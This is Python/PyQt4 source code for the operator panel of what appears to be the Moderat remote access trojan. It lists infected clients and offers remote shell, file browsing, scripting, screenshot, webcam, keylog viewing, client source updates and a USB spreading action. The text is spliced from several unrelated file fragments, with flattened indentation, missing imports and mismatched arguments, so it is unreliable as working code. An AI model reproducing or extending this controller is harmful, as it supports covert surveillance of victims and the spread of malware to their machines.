from PyQt4.QtGui import *
from PyQt4.QtCore import *
import main_ui
from libs.language import Translate
import ast
import zlib
from PIL import Image, ImageQt
# Multi Lang
translate = Translate()
_ = lambda _word: translate.word(_word)
class mainPopup(QWidget, main_ui.Ui_Form):
def __init__(self, args):
QWidget.__init__(self)
self.setupUi(self)
self.moderator = args['moderator']
self.client = args['client']
self.session_id = args['session_id']
self.module_id = args['module_id']
self.alias = args['alias']
self.ip_address = args['ip_address']
title_prefix = self.alias if len(self.alias) > 0 else self.ip_address
from PyQt4.QtGui import *
from PyQt4.QtCore import *
from error_ui import Ui_Dialog
from libs.language import Translate
# Multi Lang
translate = Translate()
_ = lambda _word: translate.word(_word)
class show(QDialog, Ui_Dialog):
def __init__(self, title, message, args):
QWidget.__init__(self)
self.setupUi(self)
self.errorLabel.setHidden(True)
self.loginButton.clicked.connect(self.getCredentials)
self.setWindowTitle(title)
self.errorLabel.setText(message)
@staticmethod
def error(title='', message='', parent=None):
dialog = show(parent, title, message)
result = dialog.exec_()
return result == QDialog.Accepted
class MainDialog(QMainWindow, gui.Ui_MainWindow):
connected = False
DATA = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'DATA')
modulesBank = {}
clients = {}
def __init__(self, reactor, plugins, plugins_dir, parent=None):
super(MainDialog, self).__init__(parent)
self.reactor = reactor
self.setupUi(self)
self.settings = Settings(self)
self.anim = QPropertyAnimation(self, 'windowOpacity')
self.anim.setDuration(1000)
self.anim.setStartValue(0)
self.anim.setEndValue(self.settings.moderatOpacity)
self.anim.start()
self.clientsTable.horizontalHeader().setStyleSheet('background: none;')
# Multi Lang
self.translate = Translate(self)
self.MString = lambda _word: self.translate.word(_word)
self.theme = Theme(self)
# Init Log Dir
if not os.path.exists(self.DATA):
os.makedirs(self.DATA)
self.assets = os.path.join(os.path.dirname(os.path.realpath(__file__)),
'assets')
self.flags = os.path.join(self.assets, 'flags')
self.plugins = plugins
self.plugins_dir = plugins_dir
self.directServerRunning = False
self.filter = Filter(self)
# Setup Settings
self.set_config()
self.pagination = pagination.Pagination(self)
self.tables = tables.updateClientsTable(self)
# Init UI
self.ui = ui.updateUi(self)
# Init Tray
self.tray = tray.ModeratTrayIcon(self)
self.rmenu = rmenu.moderatRightClickMenu(self)
# Session ID
self.session_id = None
# Privileges
self.privs = 0
# Checkers
self.moderators_checker = None
self.clients_checker = None
# Create Protocol
self.create_server_protocol()
self.create_moderator_protocol()
# Init Triggers
triggers.ModeratTriggers(self)
# Init Shortcuts
shortcuts.ModeratShortcuts(self)
# Create Actions Object
self.action = Actions(self)
# Create Modes Object
self.modes = Modes(self)
self.onlineLoading = loading.Loading(self.clientsTabs)
self.onlineLoading.hide()
self.showMaximized()
def set_config(self):
self.translate.__init__(self)
self.theme.__init__(self)
self.setStyleSheet(self.theme.stylesheet)
self.setWindowOpacity(self.settings.moderatOpacity / 100)
self.setWindowTitle(self.MString('TITLE'))
self.menuRemote_Server.setTitle(self.MString('REMOTE_SERVER'))
self.actionConnect.setText(self.MString('CONNECT'))
self.actionDisconnect.setText(self.MString('DISCONNECT'))
self.actionExit.setText(self.MString('EXIT'))
self.menuLocal_Server.setTitle(self.MString('LOCAL_SERVER'))
self.actionStartServer.setText(self.MString('START_SERVER'))
self.actionStopServer.setText(self.MString('STOP_SERVER'))
self.menuFilter.setTitle(self.MString('FILTERS'))
self.actionSetupFilters.setText(self.MString('SETUP_FILTERS'))
self.menuSettings.setTitle(self.MString('SETTINGS_TITLE'))
self.actionRunSettings.setText(self.MString('RUN_SETTINGS'))
self.clientsTabs.setTabText(0, self.MString('CLIENTS_TAB_ONLINE'))
self.clientsTabs.setTabText(1, self.MString('CLIENTS_TAB_DIRECT'))
self.clientsTabs.setTabText(2, self.MString('CLIENTS_TAB_OFFLINE'))
self.clientsTabs.setTabText(3, self.MString('CLIENTS_TAB_MODERATORS'))
# HEADERS
self.clientsTable.horizontalHeaderItem(0).setText(
self.MString('HEADER_IP_ADDRESS'))
self.clientsTable.horizontalHeaderItem(1).setText(
self.MString('HEADER_ID'))
self.clientsTable.horizontalHeaderItem(2).setText(
self.MString('HEADER_USER'))
self.clientsTable.horizontalHeaderItem(3).setText(
self.MString('HEADER_ALIAS'))
self.clientsTable.horizontalHeaderItem(4).setText(
self.MString('HEADER_ACTIVE_WINDOW_TITLE'))
self.offlineClientsTable.horizontalHeaderItem(0).setText(
self.MString('HEADER_MODERATOR'))
self.offlineClientsTable.horizontalHeaderItem(1).setText(
self.MString('HEADER_ID'))
self.offlineClientsTable.horizontalHeaderItem(2).setText(
self.MString('HEADER_ALIAS'))
self.offlineClientsTable.horizontalHeaderItem(3).setText(
self.MString('HEADER_IP_ADDRESS'))
self.offlineClientsTable.horizontalHeaderItem(4).setText(
self.MString('HEADER_LAST_ONLINE'))
self.moderatorsTable.horizontalHeaderItem(0).setText(
self.MString('MODERATORS_HEADER_ID'))
self.moderatorsTable.horizontalHeaderItem(1).setText(
self.MString('MODERATORS_HEADER_ONLINE'))
self.moderatorsTable.horizontalHeaderItem(2).setText(
self.MString('MODERATORS_HEADER_OFFLINE'))
self.moderatorsTable.horizontalHeaderItem(3).setText(
self.MString('MODERATORS_HEADER_PRIVILEGES'))
self.moderatorsTable.horizontalHeaderItem(4).setText(
self.MString('MODERATORS_HEADER_STATUS'))
self.moderatorsTable.horizontalHeaderItem(5).setText(
self.MString('MODERATORS_HEADER_LASTONLINE'))
self.directClientsTable.horizontalHeaderItem(0).setText(
self.MString('HEADER_IP_ADDRESS'))
self.directClientsTable.horizontalHeaderItem(1).setText(
self.MString('HEADER_ID'))
self.directClientsTable.horizontalHeaderItem(2).setText(
self.MString('HEADER_MARK'))
# END HEADERS
#self.filterButton.filterButton.setText(self.MString('SIDEBAR_FILTER'))
# Header Refresh
self.clientsTable.setColumnHidden(0, not self.settings.headerIpAddress)
self.clientsTable.setColumnHidden(1, not self.settings.headerClientId)
self.clientsTable.setColumnHidden(2, not self.settings.headerUser)
self.clientsTable.setColumnHidden(3, not self.settings.headerAlias)
self.clientsTable.setColumnHidden(4, not self.settings.headerTitle)
self.clientsTable.resizeColumnsToContents()
self.clientsTable.horizontalHeader().setStretchLastSection(True)
# Offline Header Refresh
self.offlineClientsTable.setColumnHidden(
0, not self.settings.offlineHeaderClientId)
self.offlineClientsTable.setColumnHidden(
1, not self.settings.offlineHeaderAlias)
self.offlineClientsTable.setColumnHidden(
2, not self.settings.offlineHeaderIpAddress)
self.offlineClientsTable.setColumnHidden(
3, not self.settings.offlineHeaderLastOnline)
self.offlineClientsTable.resizeColumnsToContents()
self.offlineClientsTable.horizontalHeader().setStretchLastSection(True)
# Direct Header Refresh
self.directClientsTable.setColumnHidden(
0, not self.settings.directHeaderIpAddress)
self.directClientsTable.setColumnHidden(
1, not self.settings.directHeaderClientId)
self.directClientsTable.setColumnHidden(
2, not self.settings.directHeaderComment)
self.directClientsTable.resizeColumnsToContents()
self.directClientsTable.horizontalHeader().setStretchLastSection(True)
# Menu
self.viewLogsButton.setHidden(not self.settings.menuLogViewer)
self.noteButton.setHidden(not self.settings.menuNote)
self.setAliasButton.setHidden(not self.settings.menuAlias)
self.updateSourceButton.setHidden(not self.settings.menuUpdate)
self.shellButton.setHidden(not self.settings.menuShell)
self.explorerButton.setHidden(not self.settings.menuExplorer)
self.scriptingButton.setHidden(not self.settings.menuScripting)
self.screenshotButton.setHidden(not self.settings.menuScreenshot)
self.webcamButton.setHidden(not self.settings.menuWebcam)
# Offline Menu
self.viewOfflineLogsButton.setHidden(
not self.settings.offlineMenuLogViewer)
self.setOfflineAliasButton.setHidden(
not self.settings.offlineMenuAlias)
self.removeClientButton.setHidden(not self.settings.offlineMenuRemove)
# Direct Menu
self.directShellButton.setHidden(not self.settings.directMenuShell)
self.directExplorerButton.setHidden(
not self.settings.directMenuExplorer)
self.directScriptingButton.setHidden(
not self.settings.directMenuScripting)
self.directScreenshotButton.setHidden(
not self.settings.directMenuScreenshot)
self.directWebcamButton.setHidden(not self.settings.directMenuWebcam)
def show_settings_window(self):
self.settingsWindow = SettingsWindow(self)
self.settingsWindow.show()
def create_server_protocol(self):
'''
Create Server Protocol
:return:
'''
self.server = ModeratServerFactory(self)
def on_server_started(self):
'''
On Server Started
:return:
'''
self.directServer = self.reactor.listenTCP(
self.settings.directServerPort, self.server)
self.directServerRunning = True
self.ui.on_server_started()
self.tray.info(
self.MString('TRAY_SERVER_STARTED'),
u'{} - {}'.format(self.MString('TRAY_LISTEN_PORT'),
self.settings.directServerPort))
def on_server_stopped(self):
'''
On Server Stopped
:return:
'''
if self.directServerRunning:
self.directServer.stopListening()
self.directServerRunning = False
self.ui.on_server_stopped()
self.tray.info(self.MString('TRAY_SERVER_STOPPED'))
def create_moderator_protocol(self):
self.moderator = SocketModeratorFactory(
self.on_moderator_connect_success, self.on_moderator_connect_fail,
self.on_moderator_receive)
# Update Direct Connections Tables
def update_direct_table(self):
'''
Rearrange Direct Clients
:param clients:
:return:
'''
self.tables.update_direct_clients()
# Start Connect To Server
def on_connect_to_server(self):
'''
Try Connect To Server
:return:
'''
self.connection = self.reactor.connectTCP(
self.settings.serverIpAddress, self.settings.serverPort,
self.moderator)
def on_moderator_connect_success(self):
'''
On Moderator Connected To Server
:return:
'''
self.connected = True
self.action.login()
def on_moderator_connect_fail(self, reason):
'''
On Moderator Disconnected From Server
:param reason:
:return:
'''
if not type(reason) is bool:
message.error(self, self.MString('MSGBOX_ERROR'),
str(reason.value))
self.connected = False
self.action.disconnect()
def on_moderator_receive(self, data):
'''
Data Received From Server
:param data:
:return:
'''
self.modes.check_mode(data)
def send_message(self,
message,
mode,
_to='',
session_id='',
module_id='',
p2p=False):
if p2p:
if self.directServerRunning:
self.server.send_msg(_to, message, mode, session_id, module_id)
else:
self.moderator.send_msg(message, mode, _to, session_id, module_id)
def set_alias(self):
'''
Set Alias For Client
:return:
'''
self.action.set_alias()
def remove_client(self):
'''
Remove Client
:return:
'''
self.action.remove_client()
def set_logs_settings(self):
'''
Set Client Log Settings
:return:
'''
self.action.set_log_settings()
@connected_to_server
def update_source(self):
'''
Update Clients Source
:return: Restart client
'''
self.action.update_source()
def execute_module(self, module):
'''
execute module
:param module:
:return:
'''
self.action.execute_module(module)
# TODO: TEMP
def usb_spreading(self):
self.action.usb_spreading()
@is_administrator
def set_moderator(self):
'''
Set Moderator For Client
:return:
'''
self.action.administrator_set_moderator()
@connected_to_server
@is_administrator
def get_moderators(self):
'''
Get Moderators Information
:return:
'''
self.action.administrator_get_moderators()
@connected_to_server
@is_administrator
def create_moderator(self):
'''
Create New Moderator
:return:
'''
self.action.administrator_create_moderator()
@connected_to_server
@is_administrator
def change_moderator_password(self):
'''
Change Moderator Password
:return:
'''
self.action.administrator_change_moderator_password()
@connected_to_server
@is_administrator
def change_moderator_privilege(self):
'''
Change Moderator Privileges
:return:
'''
self.action.administrator_change_moderator_privilege()
@connected_to_server
@is_administrator
def remove_moderator(self):
'''
Remove Moderator
:return:
'''
self.action.administrator_remove_moderator()
@connected_to_server
def check_clients(self):
'''
Update Clients Information
:return:
'''
self.action.get_clients()
def send_signal(self, data):
'''
Send Received Data To Module
:param data:
:return:
'''
self.action.signal_received(data)
def start_p2p(self):
self.action.send_p2p_start()
def filter_by_ip_address(self):
self.action.filter_by_ip_address()
def filter_by_alias(self):
self.action.filter_by_alias()
def filter_by_moderator(self):
self.action.filter_by_moderator()
def resizeEvent(self, event):
self.onlineLoading.resize(self.clientsTabs.size())
event.accept()
def closeEvent(self, *args, **kwargs):
'''
Moderat Close Event Detected
:param args:
:param kwargs:
:return:
'''
self.action.close_moderat()
os._exit(1)